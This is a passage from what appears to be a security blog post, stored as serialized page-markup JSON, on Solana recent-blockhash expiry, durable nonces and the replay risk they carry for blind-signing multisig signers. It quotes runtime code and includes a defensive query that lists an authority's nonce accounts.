last_hash_index",{"type":24,"tag":327,"props":74616,"children":74617},{"style":381},[74618],{"type":29,"value":57976},{"type":24,"tag":327,"props":74620,"children":74621},{"style":356},[74622],{"type":29,"value":74623}," hash_index",{"type":24,"tag":327,"props":74625,"children":74626},{"style":381},[74627],{"type":29,"value":2488},{"type":24,"tag":327,"props":74629,"children":74630},{"style":356},[74631],{"type":29,"value":74632}," max_age",{"type":24,"tag":327,"props":74634,"children":74635},{"style":334},[74636],{"type":29,"value":2417},{"type":24,"tag":327,"props":74638,"children":74639},{"style":1639},[74640],{"type":29,"value":20739},{"type":24,"tag":327,"props":74642,"children":74643},{"class":329,"line":408},[74644],{"type":24,"tag":327,"props":74645,"children":74646},{"style":346},[74647],{"type":29,"value":592},{"type":24,"tag":25,"props":74649,"children":74650},{},[74651],{"type":29,"value":74652},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":24,"tag":1706,"props":74654,"children":74655},{},[74656],{"type":24,"tag":25,"props":74657,"children":74658},{},[74659,74661],{"type":29,"value":74660},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":24,"tag":188,"props":74662,"children":74663},{},[74664],{"type":29,"value":74665},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":24,"tag":25,"props":74667,"children":74668},{},[74669,74671,74676],{"type":29,"value":74670},"This means an attacker ",{"type":24,"tag":42,"props":74672,"children":74673},{},[74674],{"type":29,"value":74675},"must use",{"type":29,"value":74677}," a malicious signed transaction within a short timeframe.",{"type":24,"tag":235,"props":74679,"children":74681},{"id":74680},"durable-nonce",[74682],{"type":29,"value":74683},"Durable Nonce",{"type":24,"tag":25,"props":74685,"children":74686},{},[74687,74689,74696],{"type":29,"value":74688},"The second type of signature ",{"type":24,"tag":57,"props":74690,"children":74693},{"href":74691,"rel":74692},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[61],[74694],{"type":29,"value":74695},"is a durable nonce",{"type":29,"value":74697},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":24,"tag":1706,"props":74699,"children":74700},{},[74701],{"type":24,"tag":25,"props":74702,"children":74703},{},[74704,74706],{"type":29,"value":74705},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":24,"tag":188,"props":74707,"children":74708},{},[74709],{"type":29,"value":74710},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":24,"tag":25,"props":74712,"children":74713},{},[74714,74716,74723],{"type":29,"value":74715},"If we examine the code ",{"type":24,"tag":57,"props":74717,"children":74720},{"href":74718,"rel":74719},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[61],[74721],{"type":29,"value":74722},"for recent blockhash validation",{"type":29,"value":74724},", we can also see the handling for durable nonces.",{"type":24,"tag":317,"props":74726,"children":74728},{"className":1553,"code":74727,"language":1552,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[74729],{"type":24,"tag":284,"props":74730,"children":74731},{"__ignoreMap":7},[74732,74779,74845,74865,74885,74915,74923,74977,74994,75014,75026,75038,75046,75053,75072,75099,75119,75126,75141,75171,75200],{"type":24,"tag":327,"props":74733,"children":74734},{"class":329,"line":330},[74735,74739,74744,74748,74753,74757,74762,74766,74770,74775],{"type":24,"tag":327,"props":74736,"children":74737},{"style":334},[74738],{"type":29,"value":4794},{"type":24,"tag":327,"props":74740,"children":74741},{"style":356},[74742],{"type":29,"value":74743}," recent_blockhash",{"type":24,"tag":327,"props":74745,"children":74746},{"style":381},[74747],{"type":29,"value":4809},{"type":24,"tag":327,"props":74749,"children":74750},{"style":356},[74751],{"type":29,"value":74752}," tx",{"type":24,"tag":327,"props":74754,"children":74755},{"style":381},[74756],{"type":29,"value":66},{"type":24,"tag":327,"props":74758,"children":74759},{"style":340},[74760],{"type":29,"value":74761},"message",{"type":24,"tag":327,"props":74763,"children":74764},{"style":346},[74765],{"type":29,"value":7616},{"type":24,"tag":327,"props":74767,"children":74768},{"style":381},[74769],{"type":29,"value":66},{"type":24,"tag":327,"props":74771,"children":74772},{"style":340},[74773],{"type":29,"value":74774},"recent_blockhash",{"type":24,"tag":327,"props":74776,"children":74777},{"style":346},[74778],{"type":29,"value":4838},{"type":24,"tag":327,"props":74780,"children":74781},{"class":329,"line":367},[74782,74786,74790,74794,74798,74803,74807,74811,74816,74820,74825,74829,74833,74837,74841],{"type":24,"tag":327,"props":74783,"children":74784},{"style":425},[74785],{"type":29,"value":428},{"type":24,"tag":327,"props":74787,"children":74788},{"style":334},[74789],{"type":29,"value":8769},{"type":24,"tag":327,"props":74791,"children":74792},{"style":1639},[74793],{"type":29,"value":8774},{"type":24,"tag":327,"props":74795,"children":74796},{"style":346},[74797],{"type":29,"value":349},{"type":24,"tag":327,"props":74799,"children":74800},{"style":356},[74801],{"type":29,"value":74802},"hash_info",{"type":24,"tag":327,"props":74804,"children":74805},{"style":346},[74806],{"type":29,"value":1674},{"type":24,"tag":327,"props":74808,"children":74809},{"style":381},[74810],{"type":29,"value":384},{"type":24,"tag":327,"props":74812,"children":74813},{"style":356},[74814],{"type":29,"value":74815}," hash_queue",{"type":24,"tag":327,"props":74817,"children":74818},{"style":381},[74819],{"type":29,"value":66},{"type":24,"tag":327,"props":74821,"children":74822},{"style":340},[74823],{"type":29,"value":74824},"get_hash_info_if_valid",{"type":24,"tag":327,"props":74826,"children":74827},{"style":346},[74828],{"type":29,"value":349},{"type":24,"tag":327,"props":74830,"children":74831},{"style":356},[74832],{"type":29,"value":74774},{"type":24,"tag":327,"props":74834,"children":74835},{"style":346},[74836],{"type":29,"value":2744},{"type":24,"tag":327,"props":74838,"children":74839},{"style":356},[74840],{"type":29,"value":74565},{"type":24,"tag":327,"props":74842,"children":74843},{"style":346},[74844],{"type":29,"value":364},{"type":24,"tag":327,"props":74846,"children":74847},{"class":329,"line":408},[74848,74852,74856,74861],{"type":24,"tag":327,"props":74849,"children":74850},{"style":1639},[74851],{"type":29,"value":9178},{"type":24,"tag":327,"props":74853,"children":74854},{"style":346},[74855],{"type":29,"value":349},{"type":24,"tag":327,"props":74857,"children":74858},{"style":1639},[74859],{"type":29,"value":74860},"CheckedTransactionDetails",{"type":24,"tag":327,"props":74862,"children":74863},{"style":346},[74864],{"type":29,"value":497},{"type":24,"tag":327,"props":74866,"children":74867},{"class":329,"line":421},[74868,74873,74877,74881],{"type":24,"tag":327,"props":74869,"children":74870},{"style":356},[74871],{"type":29,"value":74872},"            nonce",{"type":24,"tag":327,"props":74874,"children":74875},{"style":381},[74876],{"type":29,"value":1636},{"type":24,"tag":327,"props":74878,"children":74879},{"style":1639},[74880],{"type":29,"value":9230},{"type":24,"tag":327,"props":74882,"children":74883},{"style":346},[74884],{"type":29,"value":2231},{"type":24,"tag":327,"props":74886,"children":74887},{"class":329,"line":450},[74888,74893,74897,74902,74906,74911],{"type":24,"tag":327,"props":74889,"children":74890},{"style":356},[74891],{"type":29,"value":74892},"            lamports_per_signature",{"type":24,"tag":327,"props":74894,"children":74895},{"style":381},[74896],{"type":29,"value":1636},{"type":24,"tag":327,"props":74898,"children":74899},{"style":356},[74900],{"type":29,"value":74901}," hash_info",{"type":24,"tag":327,"props":74903,"children":74904},{"style":381},[74905],{"type":29,"value":66},{"type":24,"tag":327,"props":74907,"children":74908},{"style":340},[74909],{"type":29,"value":74910},"lamports_per_signature",{"type":24,"tag":327,"props":74912,"children":74913},{"style":346},[74914],{"type":29,"value":5357},{"type":24,"tag":327,"props":74916,"children":74917},{"class":329,"line":481},[74918],{"type":24,"tag":327,"props":74919,"children":74920},{"style":346},[74921],{"type":29,"value":74922},"        })\n",{"type":24,"tag":327,"props":74924,"children":74925},{"class":329,"line":500},[74926,74930,74934,74938,74942,74946,74950,74955,74959,74964,74968,74972],{"type":24,"tag":327,"props":74927,"children":74928},{"style":346},[74929],{"type":29,"value":487},{"type":24,"tag":327,"props":74931,"children":74932},{"style":425},[74933],{"type":29,"value":492},{"type":24,"tag":327,"props":74935,"children":74936},{"style":425},[74937],{"type":29,"value":23305},{"type":24,"tag":327,"props":74939,"children":74940},{"style":334},[74941],{"type":29,"value":8769},{"type":24,"tag":327,"props":74943,"children":74944},{"style":1639},[74945],{"type":29,"value":8774},{"type":24,"tag":327,"props":74947,"children":74948},{"style":346},[74949],{"type":29,"value":38233},{"type":24,"tag":327,"props":74951,"children":74952},{"style":356},[74953],{"type":29,"value":74954},"nonce",{"type":24,"tag":327,"props":74956,"children":74957},{"style":346},[74958],{"type":29,"value":2744},{"type":24,"tag":327,"props":74960,"children":74961},{"style":356},[74962],{"type":29,"value":74963},"previous_lamports_per_signature",{"type":24,"tag":327,"props":74965,"children":74966},{"style":346},[74967],{"type":29,"value":16395},{"type":24,"tag":327,"props":74969,"children":74970},{"style":381},[74971],{"type":29,"value":384},{"type":24,"tag":327,"props":74973,"children":74974},{"style":334},[74975],{"type":29,"value":74976}," self\n",{"type":24,"tag":327,"props":74978,"children":74979},{"class":329,"line":529},[74980,74985,74990],{"type":24,"tag":327,"props":74981,"children":74982},{"style":381},[74983],{"type":29,"value":74984},"        .",{"type":24,"tag":327,"props":74986,"children":74987},{"style":340},[74988],{"type":29,"value":74989},"check_load_and_advance_message_nonce_account",{"type":24,"tag":327,"props":74991,"children":74992},{"style":346},[74993],{"type":29,"value":4663},{"type":24,"tag":327,"props":74995,"children":74996},{"class":329,"line":538},[74997,75002,75006,75010],{"type":24,"tag":327,"props":74998,"children":74999},{"style":356},[75000],{"type":29,"value":75001},"            tx",{"type":24,"tag":327,"props":75003,"children":75004},{"style":381},[75005],{"type":29,"value":66},{"type":24,"tag":327,"props":75007,"children":75008},{"style":340},[75009],{"type":29,"value":74761},{"type":24,"tag":327,"props":75011,"children":75012},{"style":346},[75013],{"type":29,"value":5357},{"type":24,"tag":327,"props":75015,"children":75016},{"class":329,"line":547},[75017,75022],{"type":24,"tag":327,"props":75018,"children":75019},{"style":356},[75020],{"type":29,"value":75021},"            next_durable_nonce",{"type":24,"tag":327,"props":75023,"children":75024},{"style":346},[75025],{"type":29,"value":2231},{"type":24,"tag":327,"props":75027,"children":75028},{"class":329,"line":557},[75029,75034],{"type":24,"tag":327,"props":75030,"children":75031},{"style":356},[75032],{"type":29,"value":75033},"            next_lamports_per_signature",{"type":24,"tag":327,"props":75035,"children":75036},{"style":346},[75037],{"type":29,"value":2231},{"type":24,"tag":327,"props":75039,"children":75040},{"class":329,"line":586},[75041],{"type":24,"tag":327,"props":75042,"children":75043},{"style":346},[75044],{"type":29,"value":75045},"        )\n",{"type":24,"tag":327,"props":75047,"children":75048},{"class":329,"line":1017},[75049],{"type":24,"tag":327,"props":75050,"children":75051},{"style":346},[75052],{"type":29,"value":35895},{"type":24,"tag":327,"props":75054,"children":75055},{"class":329,"line":1026},[75056,75060,75064,75068],{"type":24,"tag":327,"props":75057,"children":75058},{"style":1639},[75059],{"type":29,"value":9178},{"type":24,"tag":327,"props":75061,"children":75062},{"style":346},[75063],{"type":29,"value":349},{"type":24,"tag":327,"props":75065,"children":75066},{"style":1639},[75067],{"type":29,"value":74860},{"type":24,"tag":327,"props":75069,"children":75070},{"style":346},[75071],{"type":29,"value":497},{"type":24,"tag":327,"props":75073,"children":75074},{"class":329,"line":1048},[75075,75079,75083,75087,75091,75095],{"type":24,"tag":327,"props":75076,"children":75077},{"style":356},[75078],{"type":29,"value":74872},{"type":24,"tag":327,"props":75080,"children":75081},{"style":381},[75082],{"type":29,"value":1636},{"type":24,"tag":327,"props":75084,"children":75085},{"style":1639},[75086],{"type":29,"value":8774},{"type":24,"tag":327,"props":75088,"children":75089},{"style":346},[75090],{"type":29,"value":349},{"type":24,"tag":327,"props":75092,"children":75093},{"style":356},[75094],{"type":29,"value":74954},{"type":24,"tag":327,"props":75096,"children":75097},{"style":346},[75098],{"type":29,"value":9212},{"type":24,"tag":327,"props":75100,"children":75101},{"class":329,"line":1067},[75102,75106,75110,75115],{"type":24,"tag":327,"props":75103,"children":75104},{"style":356},[75105],{"type":29,"value":74892},{"type":24,"tag":327,"props":75107,"children":75108},{"style":381},[75109],{"type":29,"value":1636},{"type":24,"tag":327,"props":75111,"children":75112},{"style":356},[75113],{"type":29,"value":75114}," previous_lamports_per_signature",{"type":24,"tag":327,"props":75116,"children":75117},{"style":346},[75118],{"type":29,"value":2231},{"type":24,"tag":327,"props":75120,"children":75121},{"class":329,"line":1075},[75122],{"type":24,"tag":327,"props":75123,"children":75124},{"style":346},[75125],{"type":29,"value":74922},{"type":24,"tag":327,"props":75127,"children":75128},{"class":329,"line":1084},[75129,75133,75137],{"type":24,"tag":327,"props":75130,"children":75131},{"style":346},[75132],{"type":29,"value":487},{"type":24,"tag":327,"props":75134,"children":75135},{"style":425},[75136],{"type":29,"value":492},{"type":24,"tag":327,"props":75138,"children":75139},{"style":346},[75140],{"type":29,"value":497},{"type":24,"tag":327,"props":75142,"children":75143},{"class":329,"line":1100},[75144,75149,75153,75158,75163,75167],{"type":24,"tag":327,"props":75145,"children":75146},{"style":356},[75147],{"type":29,"value":75148},"        error_counters",{"type":24,"tag":327,"props":75150,"children":75151},{"style":381},[75152],{"type":29,"value":66},{"type":24,"tag":327,"props":75154,"children":75155},{"style":346},[75156],{"type":29,"value":75157},"blockhash_not_found ",{"type":24,"tag":327,"props":75159,"children":75160},{"style":381},[75161],{"type":29,"value":75162},"+=",{"type":24,"tag":327,"props":75164,"children":75165},{"style":397},[75166],{"type":29,"value":522},{"type":24,"tag":327,"props":75168,"children":75169},{"style":346},[75170],{"type":29,"value":405},{"type":24,"tag":327,"props":75172,"children":75173},{"class":329,"line":1128},[75174,75178,75182,75187,75191,75196],{"type":24,"tag":327,"props":75175,"children":75176},{"style":1639},[75177],{"type":29,"value":22378},{"type":24,"tag":327,"props":75179,"children":75180},{"style":346},[75181],{"type":29,"value":349},{"type":24,"tag":327,"props":75183,"children":75184},{"style":1639},[75185],{"type":29,"value":75186},"TransactionError",{"type":24,"tag":327,"props":75188,"children":75189},{"style":381},[75190],{"type":29,"value":2407},{"type":24,"tag":327,"props":75192,"children":75193},{"style":1639},[75194],{"type":29,"value":75195},"BlockhashNotFound",{"type":24,"tag":327,"props":75197,"children":75198},{"style":346},[75199],{"type":29,"value":852},{"type":24,"tag":327,"props":75201,"children":75202},{"class":329,"line":1148},[75203],{"type":24,"tag":327,"props":75204,"children":75205},{"style":346},[75206],{"type":29,"value":535},{"type":24,"tag":25,"props":75208,"children":75209},{},[75210],{"type":29,"value":75211},"The documentation does a good job of explaining how they work.",{"type":24,"tag":1706,"props":75213,"children":75214},{},[75215],{"type":24,"tag":25,"props":75216,"children":75217},{},[75218],{"type":29,"value":75219},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":24,"tag":25,"props":75221,"children":75222},{},[75223,75225,75232],{"type":29,"value":75224},"Durable nonces are created and managed ",{"type":24,"tag":57,"props":75226,"children":75229},{"href":75227,"rel":75228},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[61],[75230],{"type":29,"value":75231},"by the system program",{"type":29,"value":75233},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":24,"tag":25,"props":75235,"children":75236},{},[75237,75239,75246],{"type":29,"value":75238},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":24,"tag":57,"props":75240,"children":75243},{"href":75241,"rel":75242},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[61],[75244],{"type":29,"value":75245},"based on the current blockhash",{"type":29,"value":75247},", and cannot be predicted in advance.",{"type":24,"tag":317,"props":75249,"children":75251},{"className":1553,"code":75250,"language":1552,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[75252],{"type":24,"tag":284,"props":75253,"children":75254},{"__ignoreMap":7},[75255,75307,75340],{"type":24,"tag":327,"props":75256,"children":75257},{"class":329,"line":330},[75258,75262,75266,75270,75274,75278,75283,75287,75291,75295,75299,75303],{"type":24,"tag":327,"props":75259,"children":75260},{"style":334},[75261],{"type":29,"value":4794},{"type":24,"tag":327,"props":75263,"children":75264},{"style":356},[75265],{"type":29,"value":74815},{"type":24,"tag":327,"props":75267,"children":75268},{"style":381},[75269],{"type":29,"value":4809},{"type":24,"tag":327,"props":75271,"children":75272},{"style":334},[75273],{"type":29,"value":2171},{"type":24,"tag":327,"props":75275,"children":75276},{"style":381},[75277],{"type":29,"value":66},{"type":24,"tag":327,"props":75279,"children":75280},{"style":346},[75281],{"type":29,"value":75282},"blockhash_queue",{"type":24,"tag":327,"props":75284,"children":75285},{"style":381},[75286],{"type":29,"value":66},{"type":24,"tag":327,"props":75288,"children":75289},{"style":340},[75290],{"type":29,"value":67363},{"type":24,"tag":327,"props":75292,"children":75293},{"style":346},[75294],{"type":29,"value":7616},{"type":24,"tag":327,"props":75296,"children":75297},{"style":381},[75298],{"type":29,"value":66},{"type":24,"tag":327,"props":75300,"children":75301},{"style":340},[75302],{"type":29,"value":5352},{"type":24,"tag":327,"props":75304,"children":75305},{"style":346},[75306],{"type":29,"value":4838},{"type":24,"tag":327,"props":75308,"children":75309},{"class":329,"line":367},[75310,75314,75319,75323,75327,75331,75336],{"type":24,"tag":327,"props":75311,"children":75312},{"style":334},[75313],{"type":29,"value":4794},{"type":24,"tag":327,"props":75315,"children":75316},{"style":356},[75317],{"type":29,"value":75318}," last_blockhash",{"type":24,"tag":327,"props":75320,"children":75321},{"style":381},[75322],{"type":29,"value":4809},{"type":24,"tag":327,"props":75324,"children":75325},{"style":356},[75326],{"type":29,"value":74815},{"type":24,"tag":327,"props":75328,"children":75329},{"style":381},[75330],{"type":29,"value":66},{"type":24,"tag":327,"props":75332,"children":75333},{"style":340},[75334],{"type":29,"value":75335},"last_hash",{"type":24,"tag":327,"props":75337,"children":75338},{"style":346},[75339],{"type":29,"value":4838},{"type":24,"tag":327,"props":75341,"children":75342},{"class":329,"line":408},[75343,75347,75352,75356,75361,75365,75370,75374,75378,75383],{"type":24,"tag":327,"props":75344,"children":75345},{"style":334},[75346],{"type":29,"value":4794},{"type":24,"tag":327,"props":75348,"children":75349},{"style":356},[75350],{"type":29,"value":75351}," next_durable_nonce",{"type":24,"tag":327,"props":75353,"children":75354},{"style":381},[75355],{"type":29,"value":4809},{"type":24,"tag":327,"props":75357,"children":75358},{"style":1639},[75359],{"type":29,"value":75360}," DurableNonce",{"type":24,"tag":327,"props":75362,"children":75363},{"style":381},[75364],{"type":29,"value":2407},{"type":24,"tag":327,"props":75366,"children":75367},{"style":340},[75368],{"type":29,"value":75369},"from_blockhash",{"type":24,"tag":327,"props":75371,"children":75372},{"style":346},[75373],{"type":29,"value":349},{"type":24,"tag":327,"props":75375,"children":75376},{"style":381},[75377],{"type":29,"value":8716},{"type":24,"tag":327,"props":75379,"children":75380},{"style":356},[75381],{"type":29,"value":75382},"last_blockhash",{"type":24,"tag":327,"props":75384,"children":75385},{"style":346},[75386],{"type":29,"value":583},{"type":24,"tag":25,"props":75388,"children":75389},{},[75390,75392,75397],{"type":29,"value":75391},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":24,"tag":42,"props":75393,"children":75394},{},[75395],{"type":29,"value":75396},"can",{"type":29,"value":75398}," be saved and reused.",{"type":24,"tag":228,"props":75400,"children":75402},{"id":75401},"threat-model",[75403],{"type":29,"value":75404},"Threat Model",{"type":24,"tag":25,"props":75406,"children":75407},{},[75408],{"type":29,"value":75409},"Let's consider a simplified form of the original question.",{"type":24,"tag":175,"props":75411,"children":75412},{},[75413,75418,75423],{"type":24,"tag":179,"props":75414,"children":75415},{},[75416],{"type":29,"value":75417},"We have a N/M multisig",{"type":24,"tag":179,"props":75419,"children":75420},{},[75421],{"type":29,"value":75422},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":24,"tag":179,"props":75424,"children":75425},{},[75426],{"type":29,"value":75427},"We can accurately query chain state.",{"type":24,"tag":25,"props":75429,"children":75430},{},[75431],{"type":29,"value":75432},"Can we safely sign transactions?",{"type":24,"tag":25,"props":75434,"children":75435},{},[75436],{"type":29,"value":75437},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":24,"tag":25,"props":75439,"children":75440},{},[75441,75443,75449,75451,75458],{"type":29,"value":75442},"Durable nonces require an onchain account, and it's possible to use a ",{"type":24,"tag":284,"props":75444,"children":75446},{"className":75445},[],[75447],{"type":29,"value":75448},"getProgramAccounts",{"type":29,"value":75450}," call to validate if your signer ",{"type":24,"tag":57,"props":75452,"children":75455},{"href":75453,"rel":75454},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[61],[75456],{"type":29,"value":75457},"has an associated durable nonce",{"type":29,"value":66},{"type":24,"tag":317,"props":75460,"children":75462},{"className":42643,"code":75461,"language":42645,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[75463],{"type":24,"tag":284,"props":75464,"children":75465},{"__ignoreMap":7},[75466,75513,75549,75557,75569,75577,75589,75597,75605,75622,75629,75636,75644,75652,75664,75690,75707,75714,75721,75729,75736],{"type":24,"tag":327,"props":75467,"children":75468},{"class":329,"line":330},[75469,75473,75478,75482,75486,75491,75495,75500,75504,75509],{"type":24,"tag":327,"props":75470,"children":75471},{"style":334},[75472],{"type":29,"value":17202},{"type":24,"tag":327,"props":75474,"children":75475},{"style":356},[75476],{"type":29,"value":75477}," connection",{"type":24,"tag":327,"props":75479,"children":75480},{"style":381},[75481],{"type":29,"value":4809},{"type":24,"tag":327,"props":75483,"children":75484},{"style":334},[75485],{"type":29,"value":38643},{"type":24,"tag":327,"props":75487,"children":75488},{"style":340},[75489],{"type":29,"value":75490}," Connection",{"type":24,"tag":327,"props":75492,"children":75493},{"style":346},[75494],{"type":29,"value":349},{"type":24,"tag":327,"props":75496,"children":75497},{"style":340},[75498],{"type":29,"value":75499},"clusterApiUrl",{"type":24,"tag":327,"props":75501,"children":75502},{"style":346},[75503],{"type":29,"value":349},{"type":24,"tag":327,"props":75505,"children":75506},{"style":844},[75507],{"type":29,"value":75508},"'testnet'",{"type":24,"tag":327,"props":75510,"children":75511},{"style":346},[75512],{"type":29,"value":14786},{"type":24,"tag":327,"props":75514,"children":75515},{"class":329,"line":367},[75516,75520,75525,75529,75533,75537,75541,75545],{"type":24,"tag":327,"props":75517,"children":75518},{"style":334},[75519],{"type":29,"value":17202},{"type":24,"tag":327,"props":75521,"children":75522},{"style":356},[75523],{"type":29,"value":75524}," nonceAccounts",{"type":24,"tag":327,"props":75526,"children":75527},{"style":381},[75528],{"type":29,"value":4809},{"type":24,"tag":327,"props":75530,"children":75531},{"style":425},[75532],{"type":29,"value":42924},{"type":24,"tag":327,"props":75534,"children":75535},{"style":356},[75536],{"type":29,"value":75477},{"type":24,"tag":327,"props":75538,"children":75539},{"style":346},[75540],{"type":29,"value":66},{"type":24,"tag":327,"props":75542,"children":75543},{"style":340},[75544],{"type":29,"value":75448},{"type":24,"tag":327,"props":75546,"children":75547},{"style":346},[75548],{"type":29,"value":4663},{"type":24,"tag":327,"props":75550,"children":75551},{"class":329,"line":408},[75552],{"type":24,"tag":327,"props":75553,"children":75554},{"style":551},[75555],{"type":29,"value":75556},"  // The system program owns all nonce accounts.\n",{"type":24,"tag":327,"props":75558,"children":75559},{"class":329,"line":421},[75560,75565],{"type":24,"tag":327,"props":75561,"children":75562},{"style":356},[75563],{"type":29,"value":75564},"  SYSTEM_PROGRAM_ADDRESS",{"type":24,"tag":327,"props":75566,"children":75567},{"style":346},[75568],{"type":29,"value":2231},{"type":24,"tag":327,"props":75570,"children":75571},{"class":329,"line":450},[75572],{"type":24,"tag":327,"props":75573,"children":75574},{"style":346},[75575],{"type":29,"value":75576},"  {\n",{"type":24,"tag":327,"props":75578,"children":75579},{"class":329,"line":481},[75580,75585],{"type":24,"tag":327,"props":75581,"children":75582},{"style":356},[75583],{"type":29,"value":75584},"    filters:",{"type":24,"tag":327,"props":75586,"children":75587},{"style":346},[75588],{"type":29,"value":7079},{"type":24,"tag":327,"props":75590,"children":75591},{"class":329,"line":500},[75592],{"type":24,"tag":327,"props":75593,"children":75594},{"style":346},[75595],{"type":29,"value":75596},"      {\n",{"type":24,"tag":327,"props":75598,"children":75599},{"class":329,"line":529},[75600],{"type":24,"tag":327,"props":75601,"children":75602},{"style":551},[75603],{"type":29,"value":75604},"        // Nonce accounts are exactly 80 bytes long\n",{"type":24,"tag":327,"props":75606,"children":75607},{"class":329,"line":538},[75608,75613,75618],{"type":24,"tag":327,"props":75609,"children":75610},{"style":356},[75611],{"type":29,"value":75612},"        dataSize:",{"type":24,"tag":327,"props":75614,"children":75615},{"style":397},[75616],{"type":29,"value":75617}," 80",{"type":24,"tag":327,"props":75619,"children":75620},{"style":346},[75621],{"type":29,"value":2231},{"type":24,"tag":327,"props":75623,"children":75624},{"class":329,"line":547},[75625],{"type":24,"tag":327,"props":75626,"children":75627},{"style":346},[75628],{"type":29,"value":43912},{"type":24,"tag":327,"props":75630,"children":75631},{"class":329,"line":557},[75632],{"type":24,"tag":327,"props":75633,"children":75634},{"style":346},[75635],{"type":29,"value":75596},{"type":24,"tag":327,"props":75637,"children":75638},{"class":329,"line":586},[75639],{"type":24,"tag":327,"props":75640,"children":75641},{"style":551},[75642],{"type":29,"value":75643},"        // The authority's 32-byte public key is written\n",{"type":24,"tag":327,"props":75645,"children":75646},{"class":329,"line":1017},[75647],{"type":24,"tag":327,"props":75648,"children":75649},{"style":551},[75650],{"type":29,"value":75651},"        // into bytes 8-40 of the nonce's account data.\n",{"type":24,"tag":327,"props":75653,"children":75654},{"class":329,"line":1026},[75655,75660],{"type":24,"tag":327,"props":75656,"children":75657},{"style":356},[75658],{"type":29,"value":75659},"        memcmp:",{"type":24,"tag":327,"props":75661,"children":75662},{"style":346},[75663],{"type":29,"value":497},{"type":24,"tag":327,"props":75665,"children":75666},{"class":329,"line":1048},[75667,75672,75677,75681,75686],{"type":24,"tag":327,"props":75668,"children":75669},{"style":356},[75670],{"type":29,"value":75671},"          bytes:",{"type":24,"tag":327,"props":75673,"children":75674},{"style":356},[75675],{"type":29,"value":75676}," AUTHORITY_PUBLIC_KEY",{"type":24,"tag":327,"props":75678,"children":75679},{"style":346},[75680],{"type":29,"value":66},{"type":24,"tag":327,"props":75682,"children":75683},{"style":340},[75684],{"type":29,"value":75685},"toBase58",{"type":24,"tag":327,"props":75687,"children":75688},{"style":346},[75689],{"type":29,"value":5357},{"type":24,"tag":327,"props":75691,"children":75692},{"class":329,"line":1067},[75693,75698,75703],{"type":24,"tag":327,"props":75694,"children":75695},{"style":356},[75696],{"type":29,"value":75697},"          offset:",{"type":24,"tag":327,"props":75699,"children":75700},{"style":397},[75701],{"type":29,"value":75702}," 8",{"type":24,"tag":327,"props":75704,"children":75705},{"style":346},[75706],{"type":29,"value":2231},{"type":24,"tag":327,"props":75708,"children":75709},{"class":329,"line":1075},[75710],{"type":24,"tag":327,"props":75711,"children":75712},{"style":346},[75713],{"type":29,"value":6830},{"type":24,"tag":327,"props":75715,"children":75716},{"class":329,"line":1084},[75717],{"type":24,"tag":327,"props":75718,"children":75719},{"style":346},[75720],{"type":29,"value":43912},{"type":24,"tag":327,"props":75722,"children":75723},{"class":329,"line":1100},[75724],{"type":24,"tag":327,"props":75725,"children":75726},{"style":346},[75727],{"type":29,"value":75728},"    ],\n",{"type":24,"tag":327,"props":75730,"children":75731},{"class":329,"line":1128},[75732],{"type":24,"tag":327,"props":75733,"children":75734},{"style":346},[75735],{"type":29,"value":13439},{"type":24,"tag":327,"props":75737,"children":75738},{"class":329,"line":1148},[75739],{"type":24,"tag":327,"props":75740,"children":75741},{"style":346},[75742],{"type":29,"value":583},{"type":24,"tag":25,"props":75744,"children":75745},{},[75746,75748,75756],{"type":29,"value":75747},"Unfortunately this is not 